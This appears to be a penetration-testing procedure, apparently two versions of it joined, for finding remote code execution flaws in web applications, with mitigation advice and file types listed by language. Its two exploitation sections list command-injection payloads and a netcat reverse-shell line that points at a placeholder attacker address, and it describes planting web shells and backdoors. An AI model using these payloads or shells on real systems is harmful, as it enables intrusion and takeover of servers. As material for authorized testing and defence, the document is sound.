Standard Operating Procedure

(SOP) for RCE Testing

1. Objective
The purpose of this SOP is to outline a clear, structured approach to testing for
Remote Code Execution (RCE) vulnerabilities in web applications, identifying
weaknesses, and determining the potential risks of exploitation. This SOP is
intended for authorized penetration testers or ethical hackers conducting testing
within a defined scope.

2. Pre-Testing Preparations
 Authorization:
o Obtain written authorization from the client or organization
before testing begins. This is mandatory to ensure compliance with
legal and ethical standards.
o Define the scope of the penetration test, including the assets to
be tested, and get explicit approval regarding the testing methods
and activities.
 Environment Setup:
o Ensure that you have all the necessary tools installed (e.g., Burp
Suite, Metasploit, Nmap, Netcat, etc.).
o Set up a secure testing environment that includes proper
isolation of the target system to avoid unintended consequences.
 Communication and Documentation:
o Document the testing plan, objectives, and timeline.

o Set up a communication protocol for reporting issues or getting

clarifications during the testing phase.

3. Information Gathering (Reconnaissance)

The first step in any penetration testing process is information gathering. This
stage provides insight into the technology stack of the target web application
and identifies potential attack vectors.
 Passive Information Gathering:
o Use tools such as WHOIS, DNSdumpster, or Shodan to gather
domain information and IP addresses.
 o Identify the technology stack used by the web application (e.g.,
PHP, Java, [Link], etc.) using tools like Wappalyzer or BuiltWith.
 Active Information Gathering:
o Port Scanning: Use Nmap to discover open ports and services.

o Web Server Fingerprinting: Identify the web server (e.g.,

Apache, Nginx) and its version using tools like Nikto or WhatWeb.
o Application Mapping: Map out the web application's structure
using tools like Burp Suite or OWASP ZAP. Identify areas where
user input is processed, such as file upload forms, search fields, or
user authentication areas.

4. Vulnerability Identification
The goal of this phase is to identify potential vulnerabilities that could be
exploited to trigger Remote Code Execution. Here are the main areas to test:
 File Upload Vulnerabilities:
o Look for file upload functionality in the application. This could
include image upload forms, document upload forms, or other input
fields that allow users to upload files.
o Check whether the application validates uploaded file types
properly. Specifically, look for file extensions
like .php, .asp, .jsp, .sh, .py, .exe, etc., which may be uploaded
without proper validation.
o Test with malicious payloads (e.g., web shells like [Link],
[Link], etc.) to see if the file is executed upon being uploaded and
accessed.
 Command Injection:
o Look for user input areas that might be processed by system
commands (e.g., parameters passed to shell commands via exec(),
eval(), system(), [Link]()).
o Test for command injection by injecting payloads like ; ls, && id,
or | whoami into input fields to check if commands are executed on
the underlying system.
 Deserialization Vulnerabilities:
o Test for unsafe deserialization of objects, especially in languages
like Java, PHP, Python, and Ruby, where serialized objects may be
improperly handled.
o Inject malicious objects that trigger remote code execution when
deserialized.
 Remote File Inclusion (RFI):
 o Test for RFI vulnerabilities by attempting to include files from
remote servers. This can allow an attacker to execute code from an
external server.
o If the application has an LFI (Local File Inclusion) vulnerability,
try to upload malicious files to the server and see if they can be
executed.
 Insecure Deserialization and Injection:
o Check for unsanitized user input that can be deserialized and
executed. Look for vulnerabilities in how serialized data is
processed.

5. Exploitation of Vulnerabilities
Once vulnerabilities are identified, the next step is to attempt exploitation. This
should be done with care and within the scope of the engagement to avoid
unnecessary damage.
 File Upload Exploit:
o Upload a malicious file (e.g., a PHP web shell) and attempt to
access it via the URL (e.g., [Link]
o Check if the server allows execution of the uploaded file (e.g., if you
receive a response like a PHP error or access to a shell).
 Command Injection Exploit:
o Inject common command injection payloads such as:

 ; ls
 && id
 | whoami
 && nc -e /bin/bash attacker_ip 4444
o Check for any server response that indicates execution of these
commands.
 Reverse Shells:
o If you manage to execute a command, attempt to establish a
reverse shell connection back to your system. For example, using
a PHP reverse shell or a Netcat listener.
 Deserialization Exploit:
o Craft a malicious payload to exploit insecure deserialization. For
example, in Java, a serialized object could be manipulated to
perform malicious actions upon deserialization.
o Test by sending the malicious object to the target application and
observe if it leads to RCE.
  Remote File Inclusion:
o Try including a remote file by modifying the input parameter to
point to a remote file (e.g., [Link]
o This could allow the execution of a remote web shell.

6. Post-Exploitation and Information Gathering

Once RCE is achieved, conduct a thorough post-exploitation phase to
understand the potential impact and further risks.
 Persistence: Check if you can maintain access by creating new users or
deploying backdoors (e.g., uploading additional web shells, modifying
system files, etc.).
 Data Access: Check if sensitive data can be accessed. This might include
database records, files, environment variables, or server configurations.
 Lateral Movement: Check for any further vulnerabilities that might allow
you to move laterally within the system.

7. Reporting
After testing, report the findings to the client or relevant parties, detailing the
vulnerabilities, risks, and mitigation recommendations.
 Findings:
o Clearly describe each vulnerability found, how it was exploited,
and the potential consequences of a successful attack.
o Provide step-by-step exploitation details (e.g., the payload
used, how the attack was performed, and the results).
 Risk Assessment:
o Assess the severity of each vulnerability based on the impact and
likelihood of exploitation.
o Recommend remediation steps for each vulnerability:

 Proper file upload validation (e.g., whitelisting file

extensions).
 Avoid direct command execution using untrusted user
input.
 Implement secure deserialization practices (e.g., avoid
deserializing untrusted data).
 Secure remote file inclusion through input sanitization and
server configurations.
8. Clean-Up and Restoration
 After testing, clean up any modifications or payloads used during the
testing phase.
o Remove any uploaded malicious files, backdoors, or reverse
shells.
o Restore the system to its original state by removing any changes
made during the testing process.

9. Final Notes
 Ethical and Legal Considerations:
o Never attempt RCE or any other exploitation without explicit
authorization.
o Always follow ethical hacking guidelines and ensure that testing
is conducted responsibly and without causing harm to the target
system.
 Continuous Monitoring:
o Once testing is complete, recommend that the client regularly
monitor for any potential vulnerabilities that could be exploited in
the future.

Conclusion
This SOP outlines the proper methodology for performing RCE vulnerability
testing in a web application environment. It ensures that the testing process is
done in a controlled, ethical, and authorized manner while providing detailed
documentation and recommendations for improving the security posture of the
target system.
Standard Operating Procedure
(SOP) for Remote Code
Execution (RCE) Testing
1. Purpose
To identify and mitigate Remote Code Execution (RCE) vulnerabilities that allow
unauthorized execution of arbitrary code on the target system, potentially
compromising system integrity, confidentiality, and availability.

2. Scope
This SOP applies to security teams, penetration testers, developers, and IT
administrators responsible for web application security, focusing on the
identification, testing, and mitigation of RCE vulnerabilities.

3. Definitions
 Remote Code Execution (RCE): A vulnerability that allows an attacker
to execute arbitrary code on a remote server, leading to full control over
the server or web application.
 Web Shell: A malicious script uploaded to a web server that allows the
attacker to interact with the server's operating system.
 Command Injection: A vulnerability where user input is improperly
passed to a system shell, allowing the attacker to execute commands on
the server.
 Deserialization: The process of converting a serialized object back into
an object, which can be exploited if malicious data is deserialized and
executed.

4. Procedure
4.1 Identifying RCE Vulnerabilities
1. File Upload Vulnerabilities:
o Identify Upload Functionality:

 Look for file upload forms that accept user input (e.g., image
upload, document upload).
 Check for weak file validation mechanisms that could allow
script files (e.g., .php, .jsp, .asp) to be uploaded.
 o Analyse File Type Validation:

 Test if file extensions are properly validated.

 Check if the server is executing uploaded files (e.g., upload a
PHP web shell and try to access it).
2. Command Injection:
o Identify Input Handling:

 Look for areas where user input is passed to system

commands (e.g., search fields, form inputs).
o Test for Injection:

 Inject common payloads like ; ls, && id, or | whoami into input
fields and observe the server's response.
3. Deserialization Vulnerabilities:
o Identify Deserialization Points:

 Look for areas where serialized data is being processed (e.g.,

objects in PHP, Java, Python).
o Test Deserialization:

 Inject malicious payloads into serialized objects to see if

arbitrary code is executed upon deserialization.
4. Remote File Inclusion (RFI):
o Identify RFI Opportunities:

 Look for file inclusion mechanisms (e.g., PHP's include()

function) and check if the server allows including files from
remote sources.
o Test for RFI:

 Modify URL parameters to include remote files and observe if

the server executes the contents of the file.

4.2 Exploiting RCE Vulnerabilities (Ethical Testing Only)

1. File Upload Exploit:
o Upload a malicious web shell (e.g., [Link], [Link]) and
attempt to access the uploaded file directly (e.g.,
[Link]
o If the file is executed, confirm RCE.

2. Command Injection Exploit:

o Inject command injection payloads such as:
  ; ls
 && id
 | whoami
 && nc -e /bin/bash attacker_ip 4444
o Observe if the server executes commands and returns output,
indicating RCE.
3. Deserialization Exploit:
o Modify serialized objects and send them to the application to test if
deserialization leads to code execution (e.g., sending a serialized
malicious payload in an HTTP request).
o If successful, gain control over the system.

4. RFI Exploit:
o Modify URL parameters to include remote files (e.g.,
[Link]
o If the server executes the file, an RCE has been successfully
achieved.

4.3 Mitigation Strategies

1. File Upload Mitigations:
o Validate File Types: Use both client-side and server-side validation
to ensure only safe file types (e.g., .jpg, .png) are uploaded.
o Check File Content: Verify that file content matches the file
extension (e.g., check the MIME type and content of uploaded files).
o Avoid File Execution: Ensure that uploaded files cannot be
executed (e.g., prevent web shells) by placing them in non-
executable directories.
2. Command Injection Mitigations:
o Sanitize User Input: Use safe programming practices like
parameterized queries and input validation to prevent
command injection.
o Escape Special Characters: Ensure user input is properly escaped
when passed to system commands.
o Avoid Direct Command Execution: Avoid using functions like
exec(), system(), or [Link]().exec() with unsanitized
user input.
3. Deserialization Mitigations:
 o Use Safe Deserialization: Use secure libraries and avoid
deserializing untrusted data.
o Implement Input Validation: Validate and sanitize all serialized
data before deserializing it.
o Use Strong Data Formats: Prefer safe data formats (e.g., JSON)
over binary serialization formats that can be easily manipulated.
4. RFI Mitigations:
o Sanitize File Inclusion: Ensure user input cannot modify file
inclusion parameters. Use whitelisting and input sanitization.
o Use Safe Paths: Avoid accepting file paths from user input and
ensure that only trusted files can be included.

5. Roles & Responsibilities

 Security Team:
o Conduct RCE assessments, identify vulnerabilities, and perform
controlled exploitation.
o Provide detailed recommendations for securing the application.

 Developers:
o Implement secure coding practices to prevent RCE vulnerabilities.

o Ensure proper input validation, file upload restrictions, and safe

deserialization techniques.
 System Administrators:
o Configure web servers and firewalls to block malicious file uploads
and executions.
o Ensure proper directory permissions to prevent the execution of
uploaded files.

6. Tools Required
 Burp Suite (for manual testing, HTTP request manipulation, and file
upload testing)
 Metasploit (for automated exploitation of common RCE vulnerabilities)
 Netcat (for reverse shell testing)
 Nmap (for port scanning and identifying potential attack vectors)
 cURL (for testing HTTP responses and headers)
 OWASP ZAP (for web application vulnerability scanning)
  Custom Scripts (for testing deserialization and command injection
payloads)

7. Review & Maintenance

 Conduct regular security assessments to detect and fix RCE
vulnerabilities.
 Update secure coding practices and ensure continuous integration of
security testing into the development lifecycle.
 Review and update firewall configurations, web server settings, and
file upload policies to ensure ongoing protection.

Types of Language Based RCE: -

A. PHP-based Websites:
 Common Vulnerability: File Upload Vulnerability
o File Types That Can Lead to RCE:

 .PHP Files: Malicious PHP files, such as [Link], can be

uploaded and executed on the server.
 .PHP5, .PHAR Files: If the server doesn't properly validate
PHAR (PHP Archive) files or allows .php5 extensions, an
attacker could upload malicious code.
 .HTML, .JS Files: Sometimes PHP applications might not
correctly sanitize files like .html or .js, which can then contain
malicious JavaScript that executes upon accessing the page.
o Exploit Method:

 An attacker uploads a malicious .php file (e.g., [Link])

containing a web shell. Once uploaded, they can execute it
through a URL (e.g., [Link] and
gain remote access to the server.
 PHAR files can be crafted to contain PHP code that can be
executed when the PHAR file is extracted or processed.

B. [Link] (C#/.NET-based Websites):

 Common Vulnerability: Improper File Handling or Insecure
Deserialization
o File Types That Can Lead to RCE:

 .ASPX Files: Malicious ASPX files can be uploaded and

executed if the server allows them.
  .DLL Files: Uploading a malicious DLL file that contains
exploit code or malicious payloads.
 .CS (C# Source Code): If the server compiles or executes
uploaded .cs files, an attacker can exploit this to run arbitrary
code.
o Exploit Method:

 Upload a malicious .aspx file (e.g., [Link]), which

can be accessed via a URL to execute server-side commands.
 Upload a malicious .dll and have it loaded by the server,
resulting in arbitrary code execution.

C. Python-based Websites (e.g., Django, Flask):

 Common Vulnerability: Unrestricted File Upload or Code Injection
in Template Engines
o File Types That Can Lead to RCE:

 .PY Files: If the server allows .py files to be uploaded and

executed, an attacker can upload a malicious Python script
that executes arbitrary code.
 .PYC (Python Compiled Files): If .pyc files are also allowed
to be uploaded and executed, attackers can upload
precompiled Python bytecode with an exploit.
o Exploit Method:

 Upload a malicious .py file (e.g., [Link]) that, when

executed, runs arbitrary Python code.
 Upload a malicious .pyc that contains compiled code,
bypassing initial validation checks.

D. [Link] (JavaScript-based Websites):

 Common Vulnerability: Code Injection, Improper File Upload or
Insecure Module Execution
o File Types That Can Lead to RCE:

 .JS Files: JavaScript files containing malicious code can be

uploaded and executed by the server if improperly validated.
 .JSON Files: If a [Link] server processes JSON data
improperly, an attacker can inject malicious JavaScript into
a .json file.
 .MJS Files: In certain configurations, malicious .mjs
(ECMAScript Modules) files might be processed by the server.
 o Exploit Method:

 Upload a malicious .js file with payloads that perform

actions like command execution or server interaction.
 Exploit a vulnerability in the server's handling of JSON files,
injecting malicious JavaScript code that the server then
executes.

E. Ruby on Rails (Ruby-based Websites):

 Common Vulnerability: File Upload Vulnerabilities, Deserialization
Vulnerabilities
o File Types That Can Lead to RCE:

 .RB Files: If the server allows .rb (Ruby scripts) to be

uploaded and executed, an attacker can upload a malicious
Ruby script with exploit code.
 .RHTML Files: Ruby on Rails applications may allow .rhtml
files, which could contain embedded Ruby code, to be
uploaded and executed.
o Exploit Method:

 Upload a malicious .rb file containing Ruby code that

exploits a vulnerability in the server or Rails framework to
trigger RCE.
 Upload a malicious .rhtml file that, when rendered,
executes Ruby code on the server.

F. Java-based Websites:
 Common Vulnerability: Improper File Handling or Servlet
Misconfiguration
o File Types That Can Lead to RCE:

 .JSP Files: Malicious JSP files (e.g., [Link]) can be uploaded

and executed if the server allows such files to be processed.
 .WAR Files: Malicious .war (Web Archive) files can be
uploaded and deployed on a server, causing RCE if
misconfigured.
 .CLASS Files: If the server dynamically loads .class files,
malicious Java classes can be used to execute arbitrary code.
o Exploit Method:

 Upload a malicious .jsp file and access it to trigger server-

side execution.
  Upload a malicious .war file and deploy it to the server to
execute malicious code.

G. Go-based Websites:
 Common Vulnerability: Improper File Handling
o File Types That Can Lead to RCE:

 .GO Files: Malicious Go code can be uploaded and executed

by the server if it compiles or evaluates the Go files
improperly.
o Exploit Method:

 Upload a malicious .go file that is executed by the server,

leading to code execution on the machine.

H. Static Websites (e.g., HTML, JavaScript):

 Common Vulnerability: Cross-Site Scripting (XSS) or JavaScript
Execution via Improper File Handling
o File Types That Can Lead to RCE:

 .HTML Files: A file with malicious JavaScript embedded in

an HTML file can execute code when the file is accessed or
processed by the server.
 .JS Files: Uploading malicious .js files may trigger server-
side actions if the server improperly handles them.
o Exploit Method:

 Upload a malicious .html file containing JavaScript

payloads that exploit the server to execute commands.
 Exploit vulnerabilities in the server’s interaction with
uploaded JavaScript files.

I. Miscellaneous (Generic Exploits):

 .EXE, .BIN, .SH Files (Executable Files): In some cases, if the server
allows execution of executable files, an attacker can upload a malicious
executable (e.g., .exe, .bin, .sh) that is then executed by the server.
 .TAR, .ZIP, .GZ (Archive Files): Sometimes, servers that allow file
extraction (e.g., .zip or .tar files) may allow malicious files within them
(such as .php, .jsp, .aspx) to be executed once the archive is extracted.

Summary of File Types Across Languages:

  PHP-based Websites: .php, .phar, .html, .js
 [Link] (C#): .aspx, .dll, .cs
 Python-based Websites: .py, .pyc
 [Link]-based Websites: .js, .json, .mjs
 Ruby on Rails: .rb, .rhtml
 Java-based Websites: .jsp, .war, .class
 Go-based Websites: .go
 Static Websites: .html, .js
 Generic Exploits: .exe, .bin, .sh, .tar, .zip, .gz
Key Takeaways:
 RCE can typically be achieved by exploiting improper file upload
handling.
 Server misconfigurations, like executing or processing files without
proper validation, allow attackers to upload malicious files (e.g., web
shells, PHP scripts, Java classes, DLLs).
 File types to watch out for include executable files, script files, and
web frameworks' native file types like .jsp, .php, .aspx, etc.
 Proper input validation, proper sanitization of uploaded files, and
restricting file types can help prevent such attacks.

Review Date:
 Last reviewed: 31/03/2025